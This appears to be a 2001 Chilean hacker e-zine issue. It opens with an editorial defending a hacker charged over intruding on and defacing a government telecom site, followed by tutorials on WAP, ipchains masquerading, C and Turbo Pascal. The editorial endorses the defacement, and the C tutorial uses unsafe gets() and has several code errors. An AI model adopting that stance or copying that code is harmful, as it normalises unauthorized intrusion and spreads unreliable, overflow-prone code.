Copy Link
Add to Bookmark
Report

Electron Security Team Issue 3

eZine's profile picture
Published in 
Electron Security Team
 · 28 Oct 2023

øñº´ñ°`°ñø¸¸,øñ°`´°ñø¸¸,øñ°`°ñø¸¸,øñ°`°ñø¸¸,øñ°`°ñø¸¸,øñ°`°ñø¸¸,øñ°``°ñø¸,øñ°`°ñø 
øñº´ñ°`°ñø¸¸,øñ°`´°ñø¸ °ñø¸¸,øñ°``°ñø¸,øñ°`°ñø
øñº´ °ñø¸ °ñø¸ `°ñø
øñº´ °ñø¸ .$2*EST*z$. °ñø¸ `°ñø
øñº´ °ñø¸ x*#"~```"!Rn·$ °ñø¸ `°ñø
øñº´ ELECTRON °ñø¸ z!~ ~@! °ñø¸ ELECTRON `°ñø
øñº´ °ñø¸ xZ~ `Eo °ñø¸ `°ñø
øñº´ SECURITY °ñø¸ $? ^%$%·ç·#~~·^]ç*`$ °ñø¸ SECURITY `°ñø
øñº´ °ñø¸ $EL"··$·$%2~$~€P*:$¸ °ñø¸ `°ñø
øñº´ TEAM °ñø¸ ?B °ñø¸ TEAM `°ñø
øñº´ °ñø¸ `?2L °ñø¸ `°ñø
øñº´ °ñø¸ `#$m.......u@#~ °ñø¸ `°ñø
øñº´ °ñø¸ ~2#tW2W$*"
` °ñø¸ `°ñø
øñº´ñ°`°ñø¸¸,øñ°`´°ñø¸ °ñø¸¸,øñ°``°ñø¸,øñ°`°ñø
øñº´ñ°`°ñø¸¸,øñ°`´°ñø¸¸,øñ°`°ñø¸¸,øñ°`°ñø¸¸,øñ°`°ñø¸¸,øñ°`°ñø¸¸,øñ°``°ñø¸,øñ°`°ñø
øñº´ `°ñø
øñº´ ELECTRON SECURITY TEAM `°ñø
øñº´ `°ñø
øñº´ # 03 `°ñø
øñº´ `°ñø
øñº´ Revista Electronica CHILENA, del UnderGround `°ñø
øñº´ `°ñø
øñº´ Informatico Mundial `°ñø
øñº´ `°ñø
øñº´ñ°`°ñø¸¸,øñ°`´°ñø¸¸,øñ°`°ñø¸¸,| 07/03/01 |°`°ñø¸¸,øñ°`°ñø¸¸,øñ°``°ñø¸,øñ°`°ñø





,-`^´-,. .,-`^´-,. .,-`^´-,. .,-`^´-,. .,-`^´-,. .,-`^´-,. .,-`^´-,. .,-`^´-,

La informacion almacenada en el ELECTRON ^ Todo comentario emitido en el ELECTRON
es publicada con el unico fin de enseñar ^ queda bajo la unica responsabilidad
educar y orientar a sus lectores,todo ^ del nick que lo firme y no representa
acto k produsca daño y/o destruccion con ^ la forma de pensar del e-zine. Los
dicha informacion en forma directa y/o ^ caracteres y acentos son eliminados
indirecta quedara bajo el amparo y unica ^ para evitar problema de compatibilidad
responsabilidad del lector... ^ con algunos editores...

,-`^´-,. .,-`^´-,. .,-`^´-,. .,-`^´-,. .,-`^´-,. .,-`^´-,. .,-`^´-,. .,-`^´-,




---------------------------------------------------------------------------------
-<( ELECTRON SECURITY TEAM )>-=======================================-<( TEAM )>-
---------------------------------------------------------------------------------

-<( EleKtr0 )>-============[E]=============-<( EleKtr0@usa.net )>-
-<( z0rbas )>-============================-<( z0rbas@usa.net )>-
-<( meth0dist )>-============[S]=============-<( meth0dist@usa.net )>-
-<( bAnkZide )>-============================-<( bAnkZide@usa.net )>-
-<( Kraptor )>-============[T]=============-<( kraptor@usa.net )>-

---------------------------------------------------------------------------------
-<( ELECTRON SECURITY TEAM )>-==============================-<( COLABORADORES )>-
---------------------------------------------------------------------------------

-<( th3nc0d3r )>-============================-<( th3nc0d3r@hotmail.com )>-
-<( ViC3Nt )>-============================-<( vic3nt@hotmail.com )>-
-<( PlaXiuS )>-============================-<( plaxius@bigfoot.com )>-
-<( Ytrium )>-============================-<( ytrium@350cc.com )>-
-<( To4s7 )>-============================-<( to4s7@350cc.com )>-
-<( Cisco )>-============================-<( ciscogroup@usa.net )>-
-<( NetKrash )>-============================-<( netkrash@bitchx.cl )>-



E-ZINE
°ñø,¸,øñ°

E E-Mail Oficial = electron_team@usa.net E
L Pagina Oficial = www.electron-team.subnet.dk L
E Canal Oficial = #electron / irc.terra.cl / 7000 E
C C
T T
R # 02 R
O °ñø,¸,øñ° O
N N
Editor = EleKtr0
Electrones = Kraptor, meth0dist
Electrones = EleKtr0, z0rbas, bAnkZide
Colaboradores = th3nc0d3r, ViC3Nt, PlaXiuS, Ytrium
Colaboradores = To4s7, Cisco, NetKrash
S S
E SALUDOS E
C °ñø,¸,øñ° C
U U
R CDLR = www.cdlr.org R
I FYE = www.350cc.com I
T 0ri0n = www.0ri0n.org T
Y SET = www.set-ezine.org Y
0wn3d = www.0wn3d.f2s.com
Ezkracho TEAM = www.ezkracho.com.ar

DOWNLOAD
T °ñø,¸,øñ° T
E E
A Zine Store = www.zine-store.com.ar A
M Van Hackez = www.vanhackez.com M
0ri0n = www.0ri0n.org




INDICE
`°ñø,¸,øñ°
TITULO AUTOR
`°ñø,¸,øñ° °ñø,¸,øñ°


-<( 01 )>-<( Editorial ........................................ El Editor )>-
-<( 02 )>-<( Protocolo Inalambrico de Aplicaciones III ........ EleKtr0 )>-
-<( 03 )>-<( Enmascaramiento Mediante Ipchains ................ ViC3Nt )>-
-<( 04 )>-<( Programacion en C III ............................ EleKtr0 )>-
-<( 05 )>-<( Programacion en Turbo Pascal ..................... meth0dist )>-
-<( 06 )>-<( Como Instalar Debian 2.2 ......................... th3nc0d3r )>-
-<( 07 )>-<( "Electro-diccionario" ............................ EleKtr0 )>-
-<( 08 )>-<( A fondo con Virtual Turntables 1.80.04 ........... bAnkZide )>-
-<( 09 )>-<( Curso de Programacion en C, Reforzamiento II ..... z0rbas )>-
-<( 10 )>-<( Comandos Basicos en Red con Linux ................ EleKtr0 )>-
-<( 11 )>-<( Passwords en UNIX ................................ z0rbas )>-
-<( 12 )>-<( Estudio y Analisis de un Computador .............. Kraptor )>-
-<( 13 )>-<( Routers (ReFerencia Basica) ...................... ViC3Nt )>-
-<( 14 )>-<( The Cisco Networking Academy Program ............. Cisco )>-
-<( 15 )>-<( UnderNews ........................................ EST )>-
-<( 16 )>-<( ZZZZzzzzzzZZZZZzzzzZZZZZzzzz! .................... El Editor )>-
-<( 17 )>-<( Comentarios y Reflexiones del Caso ThEye ......... Varios )>-
-<( 18 )>-<( Bug`s & Exploit`s ................................ EleKtr0 )>-
-<( 19 )>-<( Correo Electronico ............................... EST )>-
-<( 20 )>-<( Intentando dar una Respuesta ..................... EST )>-
-<( 21 )>-<( Llaves PGP ....................................... EST )>-
-<( 22 )>-<( Despedida y Comentario Final ..................... El Editor )>-





,øñ°`´°ñø¸
-<[ 01 ]>-
`°ñø,¸,øñ°

Autor : EleKtr0
Titulo : Editorial

Sean todos ustedes bienvenidos a la tercera entrega de nuestro e-zine.
No ha pasado mucho tiempo desde que lanzamos el segundo numero y sin embargo
en ese corto lapso de tiempo en nuestro pais (CHILE) han pasado echos
bastante fuertes que me gustaria comentar en esta edicion.

No voy hacer incapie con lo sucedido en la protesta contra Bysecure ni con el
tiron de orejas que se llevo LatinMail, si no mas bien referirme al caso de
nuestro amigo y compañero ThEye quien como todos sabemos fue citado a declarar
en el 32º juzgado del crimen de Santiago... luego de que la Subsecretaria de
Telecomunicaiones pusiera una querella en su contra tras percatarse a traves
de un IDS de la intrusion de Roberto A. (ThEye) en sus sistemas.

Basta con tener solo 2 dedos de frente como para pensar que ThEye no es ningun
criminal como para recibir una demanda a lo menos una amenaza, pero no una
citacion al juzgado del crimen, reserven esas citaciones para los violadores y
asesinos que en estos momentos estan cometiendo sus fechorias libremente...

Lo que sucedio fue ke alertaron a la SUBTEL desfasando su web de inet,algo que
en lo personal apruebo tremendamente si pensamos que la subsecretaria de
telecomunicaiones de chile debe y tiene la obligacion de ser la principal
impulsadora del masificamiento de internet en nuestro pais y aun mas se le
suma a esto la pobre y asquerosa seguridad de sus sistemas, pensemos que la
SUBTEL maneja informacion confidencial valiosa para cualquier persona u
organizacion que dese tenerla, pongamosnos a pensar solo un momento y pensemos
en el sgt caso: Imaguinemos a un grupo de cyberdelincuentes que se enteren de
la pobre y asquerosa seguridad de los sistemas de la SUBTEL y esten sedientos
por obtener acceso, pensemos que logran y tienen accesso total a la base
de datos de la Subsecretaria de telecomunicaciones, ellos revisan, modifican
y alteran la informacion alli contenida, agreguemos que estos señores no son
para nada amigables y no lo van a pensar dos veces para lucrar con estos datos
son datos de extrema importancia y confidencia, es informacion valiosa!...

Esta escena facilmente pudo haber sido verdadera y si no es haci quien me
puede asegurar lo contrario?? imaguinemos que ThEye fue el que desfaso la web
pero que hubiese pasado si no lo hubiese echo en señal de advertencia de la
pobre seguridad alli existente?? y ahora me vienen a decir que lo que Roberto
hiso (dudamos que haya sido el) es condenable a minimo 3 años tras las rejas!?
el previnio un desastre aun mayor, lo que ThEye hiso fue un acto del que la
mismisima SUBTEL deberia estar agradecida, pero nuevamente vemos como aflora
la estupides de nuestras autoridades vemos como siguen siendo unos trogloditas
a la hora de tomar desiciones... y mas aun desatan la rabia de nuestra
comunidad, algo que de buenas a primeras no les beneficia para nada!...

La reaccion nuestra no pudo ser mejor y haci iniciamos una compaña conocida
como Hackers por Chile en contra de la demanda que acusa a ThEye, solo pedimos
pasificamente y creemos que haci debe ser, el retiro de la demanda.

Por lo pronto nos queda esperar haber que resuelven el abogado de Roberto y
los tribunales de justicia,desde aqui te damos todo el apoyo y fuerza posible.

Fuerza! ThEye!

Autor : EleKtr0
Titulo : Editorial






,øñ°`´°ñø¸
-<[ 02 ]>-
`°ñø,¸,øñ°

Autor : EleKtr0
Titulo : Protocolo Inalambrico de Aplicaciones
Entrega # : III
Contenido : Hoy terminaremos esta seguidilla de explicaiones de las ditintas
capas k componen al Protocolo WAP

Capa Inalámbrica de Seguridadd de Transporte
============================================

La Capa Inalámbrica de Seguridad de Transporte (en adelante WTLS), constituye
una capa modular, esta depende del nivel de seguridad requerido por una
determinada aplicación,proporciona a las capas de nivel superior de WAP de
una interfaz de servicio de transporte seguro,que lo resguarde de una interfaz
de transporte inferior

El objetivo es proporcionar privacidad, integridad de datos y autentificación
entre dos aplicaciones

Adicionalmente, la WTLS proporciona una interfaz para el manejo de conexiones
seguras

Bueno y al igual que como lo hemos hecho en los protocolos anteriores, vamos a
ver algunas de las primitivas mas importantes de esta capa:

SEC-Unitdata: Se utiliza para intercambiar datos de usuario entre los dos
participantes, sólo puede ser invocada cuando existe previamente una conexión
segura entre las direcciones de transporte de los dos participantes

SEC-Create: Se utiliza para iniciar el establecimiento de una conexión segura

SEC-Exchange: Esta primitiva se utiliza en la creación de una conexión segura
si el servidor desea utilizar autentificación de clave pública o intercambio
de claves con el cliente

SEC-Terminate: Esta primitiva se utiliza para finalizar la conexión.


Protocolo Inalámbrico de Datagramas
===================================

Algunas aplicaciones de los Datagramad de esta capa son:
_________________
|_______\__WTLS___|
|__UDP__|__WDP____|
|__IP___|__NO IP__|


Este protocolo ofrece un servicio consistente al protocolo (Seguridad,
Transacción y Sesión), comunicándose de forma transparente sobre uno de los
servicios disponibles.

Este protocolo ofrece servicios a los protocolos superiores, segmentación y
re-ensamblado opcional y detección de errores opcional, de forma que se
permite a las aplicaciones de usuario funcionar de forma transparente sobre
los servicios portadores disponibles

Algunas de sus primitivas mas importantes son:

T-DUnitdata: Esta primitiva es la utilizada para transmitir datos como
datagramas. No requiere que exista una conexión para establecerse

T-DError: Esta primitiva se utiliza para proporcionar información a la capa
superior cuando ocurre un error que pueda influenciar en el servicio

Por ultimo el orden de todas las capas ya vista en el Protocolo WAP:


_________________________ __________________________________________________
| CAPA DE APLICACION (WAE)| | |
|_________________________| |___ |
_____________________________ | OTROS |
| CAPA DE SESION (WSP) | | |
|_____________________________| |_______ SERVICIOS |
_____________________________________ | |
| CAPA DE TRANSACCIONES (WTP) | | Y |
|_____________________________________| |_____ |
___________________________________________ | APLICACIONES |
| CAPA DE SEGURIDAD (WTLS) | | |
|___________________________________________| |_____ |
_________________________________________________ | |
| CAPA DE TRANSPORTE (WDP) | | |
|_________________________________________________| |__________________________|



Protocolos portadores:
_______________________________________________________________________________
| |
| GSM IS-136 CDMA PHS CDPD PDC-P iDEN etc |
|_______________________________________________________________________________|


Autor : EleKtr0
Titulo : Protocolo Inalambrico de Aplicaciones
Entrega # : III y ultima
E-mail : EleKtr0@usa.net
Bibliografia : [WAPARCH] "Wireless Application Protocol Architecture Specification"
URL: http://www.wapforum.com/





,øñ°`´°ñø¸
-<[ 03 ]>-
`°ñø,¸,øñ°

Autor : ViC3Nt
Titulo : Enmascaramiento Mediante Ipchains
Comentario: En este capitulo trataremos del enmascaramiento de ips, mediante
ipchains, obviamente para linux.

Explicare una breve resen~a de lo que es el enmascaramiento para que tengamos
una idea de lo que es, para que sirve, y que podemos hacer con el. Esta claro
que no se todo sobre enmascaramiento, pero este texto lo que hace es guiar
desde un aspecto basico, la confeccion de reglas para poder proteger tu red o
para dar internet a una red completa de PC sin necesidad de tener ips validas
para todos.

Esto esta orientado para cualquier persona que quiera aprender un poco mas y
para algun administrador que quiera segurizar su red de forma facil y rapida.

Contenido : Bueno, el enmascaramiento consiste en usar un servidor, de sistema
operativo que sea,como pasarela para los requerimientos que hace un computador
con una ip invalida(para esto lo estoy orientando). Para mi es uno de los
metodos mas seguros que existen para poder resguardar una red interna puesto
que no se ve desde la inet, solo el servidor, entonces te preocupas de
segurizar ese servidor en particular y luego los demas PCs, el hecho es que
para que puedan perforar la red interna deben entrar al servidor y de ahi
conseguir acceso a los pcs con ips privadas, esto graficado seria de la
siguiente forma:



ip valida(200.28.22.x) ip privada 10.0.0.1 10.0.0.2
INTERNET-------- eth0 (interface externa)SERVER eth1(Interface Interna)---WORKSTATION1
|
|
|
WORKSTATION2
10.0.0.3


Aqui se explica mejor,o sea desde una ip valida o visible desde Internet no es
posible rutear directamente hacia una ip privada, debe hacerlo desde el
servidor, el cual tiene 2 interfaces de red una para internet y una para la
LAN, entonces protegemos el servidor, me explico?... ok

Un Pc de la red al estar enmascarado sale a internet con la misma ip del
servidor y tiene varios beneficios, uno de ellos es que se pueden restringir
los permisos de personas que no deben tener internet en la red interna y asi
no recargamos nuestro enlace, podemos tambien restringir el acceso a sitios,
o dar acceso solo a puertos especificos.

Un Pc de la red interna, al hacer un requerimiento web, envia el paquete al
servidor,el cual evalua si la ip del PC esta autorizada para entrar primero al
PC, o sea la cadena input, si lo esta entonces evalua si esta autorizado para
que su paquete salga a internet, si lo esta entonces envia el paquete al
destino al que va, mejor explicado en la siguiente figura.


WORKSTATION
(Web Request)
|
|
Esta autorizado? a entrar
|-------------NO(bota el paquete)
SI
|
SERVER
Esta Autorizado a Salir?--------NO(bota el paquete)
SI
|
|
INTERNET


Ahi quedo un poco mas explicado, creo, bueno ahora vamos a la practica,
recuerden que necesitamos 2 tarjetas de red.. como .. por supuesto 2, una para
la red interna y otra para la red externa o sea pa Internet, facil no? si
hacemos una conexion a internet por medio de un modem o una ISDN solo
necesitamos una tarjeta de red.. claro.. Internet llega desde otra interfaz
pues.. desde ppp.

Antes ya hice un texto explicando como se hace un firewall, asi que ahora solo
voy a explicar las reglas de enmascaramiento, como mencione antes (en el otro
texto) se usa la cadena forward para poder sacar a internet a la ip privada
que queramos.

Bueno..
algunos ejemplos practicos

Supongamos que tenemos una red con ips privadas del tipo 10.0.0.0/8. o sea con
mascara 255.0.0.0

- Si queremos dar internet a la red completa entonces:

bash# ipchains -A forward -s 10.0.0.0/8 -d 0.0.0.0/0 -j MASQ

Aca dimos acceso a todos los sitios internet a la red interna a todos los
puertos.

- Si queremos dar acceso a una ip especifica de la LAN y no a la red completa:

bash# ipchains -A forward -s 10.0.0.1/32 -d 0.0.0.0/0 -j MASQ

ponemos mascara de 32 bits, obvio

- Acceso solo para navegacion web:

bash# ipchains -A forward -p tcp -s 10.0.0.0/8 -d 0.0.0.0/0 www -j MASQ

- Denegar acceso a algun sitio en especial por ejemplo www.microsoft.com
primero tiene que tener acceso para entrar a internet y luego denegar, las
cadenas van en orden.

bash# ipchains -A forward -s 10.0.0.0/8 -d www.microsoft.com/32 -j DENY

- Acceso a puertos especificos:

bash# ipchains -A forward -p tcp -s 10.0.0.0/8 -d 0.0.0.0/0 telnet -j MASQ
bash# ipchains -A forward -p tcp -s 10.0.0.0/8 -d 0.0.0.0/0 ftp -j MASQ
bash# ipchains -A forward -p tcp -s 10.0.0.0/8 -d 0.0.0.0/0 smtp -j MASQ

bueh y asi sucesivamente, pueden cambiar el protocolo tcp por el que sea para
el servicio que desean activar o poner ALL para todos los protocolos si no
estan seguros.

Bueno aca termina esto.. espero les sirva, si tienen alguna duda a mi mail
vic3nt@hotmail.com, otra cosa, si tienen cable modem o DSL esta puede ser una
buena alternativa para conectar varios PCs sin tener que pagar mas, como
siempre buscan los ISPs de aca de chile. conectan un linux a Inet y los otros
a ips privadas... y listo, una LAN para su hogar.

nos vemos ....

Autor : ViC3Nt
Titulo : Enmascaramiento Mediante Ipchains
E-Mail : vic3nt@hotmail.com





,øñ°`´°ñø¸
-<[ 04 ]>-
`°ñø,¸,øñ°


Autor : EleKtr0
Titulo : Programacion en C
Entrega # : III
Contenido : Esta vez veremos Expresiones, Typescasting, Operaciones Booleanas
Expresiones Complejas, Cadenas de Caracteres, Entrada y Salida y Expresiones
Condicionales y ya con eso hiriamos terminando este pequeño curso de C.

Expresiones: En una expresion se puede incluir operaciones matematicas como
son la suma la resta la multiplicacion y division. Esto se hace de la forma
k todo mundo conoce, osea con sus respectivos signos sean estos:

+ = suma
- = resta
* = multiplicacion
/ = division

suma = numero+numero;
resta = numero-numero;
multiplicaion = numero*numero;
division = numero/numero;

En una misma expresion pueden haber varias operaciones, como sabemos la
multiplicacion y la division se realizan antes k las demas operaciones a menos
k haya parentisis donde se resolvera el parentisis para seguir con las demas
operaciones:

resultado = 3+2*5-4*(2+3);


Luego k se ejecute esta operacion la expresion resultado obtiene un valor de
-7 Ahy otros procedimientos mas rapidos para las acciones de sumar 1 a una
variable (incremetnto) y restarle 1 (decremento)para este objetivo se usan los
operadores ++ y -- respectivamente... Su uso es bastante sencillo solo basta
con escribir el nombre de la variable precedido o seguido del operador que
corresponda.

resultado++;
resultado--;

Typecasting; Cuendo keremos cambiar de tipo de asignacion de un valor definido
anteriormente, por ejemplo tenemos ya definido:

int resultado;

Si kisieramos vambiarla a un tipo como float en ves de int, lo k tendriamos k
hacer es forzar la variable indicando el nombre del nuevo tipo k kisieramos en
este caso float, para ello enserraremos en parentisis el nuevo tipo:

(float)resultado;

Operaciones Booleanas: No solo operaciones matematicas podemos realizar en C
si no k tmb operaciones algebricas, estas operaciones son:

and(&)
or(|)
xor(^)
not(!)

Ejemplo:

c = a&b; /*en c quedan en 1 todos los valores k coincidan en 1 en a y b */
c = a|b; /*en c quedan en 1 todos los bits en 1 en a o b */
c = a^b; /*lo mismo k el anterior, pero solo es en a o b */
c = a!b; /*en c quedan en 1 todos los bits k en a estaban a 0 y veceversa */

Expresiones Complejas: Como ya sabemos C devuelve un valor a cada expresion
algunas expresiones son: operaciones aritmeticas, operaciones logicas,llamadas
a funciones, asignaciones de valores, esto significa k se puede asignar a una
variable el valor devuelto por una funcion y poder asi utilizarlo en otra
expresion o incluso se pude asignar un valor a dos variables a la vez:

a=b=5;

Aki se evalua la expresion b = 5, k da 5 y este valor se le asigna a a

Cadenas de Caracteres: En C un caracter es un simbolo imprimible k debe estar
encerrado entre las comillas dobles ' algunos caracteres serian "A" o "0"
Ahy algunos caracteres k no se pueden escribir directamente, sin embargo, ahy
un sistema bastante interesante k se conoce como escapado,consiste en escribir
una barra inversa \ seguida de una serie de caracteres.El conjunto de la barra
inversa y de los caracteres es interpretado por el compilador como un solo
caracter

Si kisieramos escrbir el simbolo de comillas simple tendriamos k hacerlo asi:

"\"'

La variable unsigned char es la designada para almacenar caracteres sueltos,se
pueden utilizar los cracteres como caracter o como numero segun sea el caso

Por ejemplo esto seria una cadena de caracteres sueltos:

"cadena de caracteres sueltos"
"cadena k termina por un salto de linea\n"
"cadena k termina borrando la pantalla\f"
"cadena k termina con tabulacion\t"
"cadena k imprime la barra invertida \\"

Para declarar una variable k contenga una cadena de caracteres, es necesario
primero conocer su logintud maxima k pudiese tener esa cadena, ejemplo:

char cadena1[69];
char cadena1[]="cadena inicializada";
char cadena3[40]="otra cadena mas";

La variable cadena1 podra contener como maximo 68 caracteres
La variable cadena2 podra contener como maximo 19 caracteres
La variable cadena3 podra contener como maximo 39 caracteres

Si han sido observadores podremos notar que se han definido en la variable
cadena1 un maximo de [69] caracteres pero donde solo podremos amacenar 68,esto
es debido a k el final de una cadena de caracteres se marca internamente con
una caracter 0 k como es obbio ocupa 1 espacio.

Entrada y Salida: Algo que es muy comun ver en programas es la peticion de
ciertos datos por medio del teclado asi como tmb visualizar otros tantos por
pantalla y/o impresora, como ya sabemos en C se disponen de varios comandos
para hacer estas acciones y uno de los mas usados e importantes es "printf"
sin comillas claro...

El comando "printf" nos permitira ver el contenido de varias variables sea en
el de una primero y luego la otra o todas de inmediato con un formato adecuado
para que queden en un orden correcto dentro el monitor y asi poder
comprenderlas...

"printf" tiene varios parametros con los k se le pude llamar, el primero
vendria a ser una cadena decaracteres cuyo contenido sera visualizado en
pantalla a exepcion de en aquellos lugares en donde se encuentre un signo de %
(porcentaje) ya k este signo indica k en ese luegar de debe insertar el
contenido de cierta variable, esto va en un orden correlativo, asi el primer
porcentaje inserta el contenido del la primera variable tras la cadena de
formato, el segundo inserta el contenido de la segunda variable tras la cadena
de formato etc, etc...

Atras de signo del porcentaje apareceran una serie de caracteres k indican de
k tipo es la variable a insertar,por ejemplo en %s nos indica k la variable es
del tipo "string" y %i k es del tipo "int"

Revisemos un fracmento de codigo:

char cadena[]="elektro";
printf("me llamo %s.\n",cadena);

Esto da como resultado en pantalla la frase: me llamo elektro

Se usa %c para visualizar variables del tipo caracter "char"
Se usa %i para visualizar variables del tipo enteros
Se usa %f para visualizar variables del tipo "float" o "double"

printf ("%s %i %s", var1, var2, var3);
|__|__|____| | |
|__|__________| |
|________________|

Usaremos la funcion "getchar" para leer del teclado unico caracter, esta
funcion no acepta parametros:

(char)getchar();

Ahora la funcion mas usada para obtener cadenas de caracteres por teclado es
"gets" la k acepta un solo parametro k seria el nombre de la variable en que
se va almacenar la cadena recuvida por el teclado:

gets(variable);

Para poder leer los numeros introducidos por teclados es necesario primero
leer ese numero como una cadena de caractres y luego convertirlo a numero.
Para ellos existen dos funciones distintas que son: atoi y atof

Ambas funciones toman como parametro una cadena de caracteres y devuelven un
int o un double. Estas funciones estan en la libreria "stdlib.h" por lo k ahy
k incluirla en la cabezara de nuestro programa con el correspondiente #include

Veamos un pequeño ejemplo para las variables ya vistas:

#include <studio.h>
#include <stdlib.h>

int main()
{
char nombre[33];
char temp[33];
int edad;
int faltan;

printf("Hola, ¿como te llamas?");
gets(nombre);
printf("Hola %s, cuantos años tienes ?",nombre);
gets(temp);

edad=atoi(temp);
faltan=69-edad;

printf("%s, te faltan %i años para cumplir 69\n",nombre,faltan);
printf("Solo %i\n",faltan);
}

Expresiones Condicionales: El tipo proceso k un programa tiene k realizar
generalmente de depede de los valores k hayan tomado ciertas variables, del
estado del tarro, etc... para k los programas puedan tomar desiciones deben
evaluar condiciones y averiguar si estas se cumplen o no, esto lo haremos con
las expresiones condicionales

Segun los valores k tomen las expresiones a los lados del operador y el
ordenador k este sea,la expresion condicional tomara valor 0 o uno distinto de
cero. Como sabemos si el valor es 0 la condicion es falsa en cualkier otro
caso sera verdadera

La comprovacion mas sencilla es cuando comparamos entre dos valores, si son
iguales si son diferentes, si uno es mayor k el otro etc...

a==b

Eso nos comprueba que la variable "a" es igual a la variable "b", si la
variable "a" fuese mayor k la variable "b" la comprovacion nos devolveria un
rotundo 0, el operador logico de esta comprovacion es == (igual) tenemos mas
comprovadores algunos son:

a!=b /* a es distinto de b */
a>b /* a mayor k b */
a<b /* a menor k b */
a>=b /* a mayor o igual k b */
a<=b /* a menor o igual k b */

Bueno y como ya lo hemos visto tmb es posible usar los operadores boleanos que
como dijimos eran: && (and) || (or) y ! (not) con esta la expresion a && b
seria sierta si a y b son ciertas:a || b es cierta si a es cierta o si b es
cierta o ambas y la expresion !a es cierta si solo a no es cierta.

Ahora veremos las estructuras de control como; if... else
Bueno todo ya debemos saber como funciona esto asik solo me limitare a decir
su sintaxis y uso:

if(condicion)bloque1
else bloque2

El bloque1 y 2 pueden ser instrucciones aisladas como tambien varias
instrucciones delimitadas con llaves [{}], si la condicion es cierta seran
ejecutadas las instrucciones del bloque1, si la condicion no es cierta se
ejecutan las instrucciones del bloque2, ahora si no se desea ejecutar nada en
caso k no sea cierta se elimina el else y bloque2:

if(a==b)
printf("a y b son iguales\n");
else{
printf("a y b no son iguales\n");
a=b;
}

if((a!=b)&&(b!=c)
printf("a b y c son distintos\n");

Existe la estructura "switch" que nos permitira ejecutar una o varias
instrucciones dependiendo de el valor de una expresion:

switch(expr)
{
case valor1:
instrucciones1;
case valor2:
instrucciones2;
...
default:
instrucciones3;
}


El programa lo primero k hace es avaluar (expr) y salta directamente al primer
case, si el valor coincide si es asi ejecuta sus instrucciones de no ser asi
entonces pasa al segundo case, de no coincidir con ninguna salta al default.

Las estrucuturas repetitivas y sabemos para que son tmb sabemos que la
variable usada para estas sircunstancias es "while" cuya sintaxis es:

while(condicion)
bloque;

esta consiste en ejecutar el bloque mientras la condicion sea cierta:

int c=0;
while(c<5)
{
printf("%i\n",c);
c++;
}

Otra muy parecida es "do... while" sintaxis:

do bloque;
while(condicion);

Ejemplo:

int c=0;
do{
printf("%i\n",c);
c++;
} while(c<5);

Y otra mas seria "for" sintaxis:

for(expr_inicializacion;condicion;expr_interaccion)bloque;

Ejemplo:

int c;
for(c=0;c<5;c++)printf("%i\n");

Y eso seria todo!.

Autor : EleKtr0
Titulo : Programacion en C
Entrega # : III y ultima
E-mail : EleKtr0@usa.net
Link`s : www.lawebdelprogramador.com





,øñ°`´°ñø¸
-<[ 05 ]>-
`°ñø,¸,øñ°

Autor : meth0dist
Titulo : Programacion en Turbo Pascal
E-mail : meth0dist@usa.net
Contenido : No se mucho de historia acerca de este programa, aparte de que
el nombre viene del matematico que invento la primera calculadora. Este lenguaje
es muy conocido a nivel mundial y fue muy utilizado hace a ños atras por muchos
programadores.

Es muy facil de aprender y sirve como base para otros tipos de lenguajes.
Bueno, pa no latearte mas con estos fomes comentarios, pongamosnos a
programar ahora mismo que supongo es lo que quieren hacer, no?.

Bueno antes eso si una aclaracion. Para este pekeño cursillo utilisaremos la
version 1.5 para Window$, kienes no dispongan de ella pueden revisar en Inet.


Voy a dividir esto curso en 8 partes asi que preparense.


01.- Nuestro primer programa.
02.- Uso del "repeat".
03.- Uso del "round" y del "trunc".
04.- Uso del "if".
05.- Haciendo menus y usando el "case".
06.- Uso del "for".
07.- Operadores matematicos.
07.1.- Igual a.
07.2.- Mayor que, menor que.
07.3.- Igual o mayor que, igual o menor que.
07.4.- Multiplicacion, division, suma y resta
07.5.- Raiz cuadrada y cubo.
08.- Termino.


Estos son unos comandos para moverse mas rapido en Pascal :

CTRL+INSERT = Para copiar texto ( copy )
SHIFT+INSERT = Para pegar texto ( paste )
ALT+BACKSPACE = Para deshacer ( undo )
CTRL+F9 = Correr el programa ( run )
ALT+F9 = Compilar el programa (compile)

01.-->>>NUESTRO PRIMER PROGRAMA<<<--

Ejecuta el Tpw.exe, copia este codigo y pegalo en un archivo nuevo, guardalo
como "bienvenida.pas" y quedaran guardados otros dos archivos mas :
"bienvenida.bak", "bienvenida.pas". Luego al correr el programa quedara guardado
el "bienvenida.exe". Este es el codigo a ejecutar:

program bienvenida;
uses wincrt;
var
x : string[33];
begin
write('Ingresa tu nombre: ');
read(x);
write('Bienvenido ',x,' al curso de pascal por meth0dist');
end.

No se mucho de historia acerca de este programa, aparte de que el nombre
Haz click en "Run" y luego en "Run" para que corra o presiona CTRL+F9.Esta bien
simple. Lo que hace este programa al correrlo, es preguntar por tu nombre y
luego lo escribe en pantalla junto con un saludo. A continuacion explico paso a
paso cada linea de este programilla.

-"program bienvenida;"
Aca se especifica el nombre del programa, pero conste ke no pueden ser nombres
como "do", "while", "if" u otras funciones de Pascal. Recuerden al final el punto
y coma ya que sino, no te va a correr y te ve a quedar marcada la linea de abajo.

-"uses wincrt;"
Esto hace que al correr el programa, lo haga en una ventana de nuestro querido
M$ window$.

-"var
x : string[33];"

En esta linea, estamos especificando la variable "x" como "string" de maximo 33
caracteres. Obviamente que tambien existen las variables como "integer", "char",
"longint", "real", "boolean", etc.

-"begin"
Siempre se comienza con "begin" y se termina con un "end.", es como el "´{ }" en
lenguaje C.

-"write('Ingresa tu nombre: ');"
Como supongo que saben, "write" significa escribir y se pone entre parentesis y
comillas lo que uno quiere que salga escrito en la pantalla. Si quieres que
despues del "write" se salte una linea, tienes que utilizar el "writeln", ya que
si escribes primero: "write('hola');" y luego pones abajo un "write" de nuevo, va
a salir todo junto, en cambio no lo hara si utilizas el "writeln". Tambien existe
el "readln", ver abajo para que sirve el "read(x);".

-"read(x);"
"Read" quiere decir leer, por lo tanto, lo que hace es preguntar por la variable
"x". Recordar que la variable se pone entre parentesis y se pone punto y coma al
final.

-"write('Bienvenido ',x,' al curso de pascal por meth0dist');"
Aca escribe "Bienvenido 'x' al curso de pascal por meth0dist", siendo la variable
"x" el nombre que pusiste. El texto que saldra escrito tiene que estar en
comillas, pero no dobles sino una comilla. Si quieres que escriba solo la
variable escribe esto: "write(x);"

-"end."
Este "end", como es el ultimo, tiene que tener punto al final, pero recuerda que
solo el ultimo "end" tiene que llevar punto. Los anteriores terminan con punto y
coma. Espero que hayan entendido este ejemplo, para poder avanzar un poco mas en
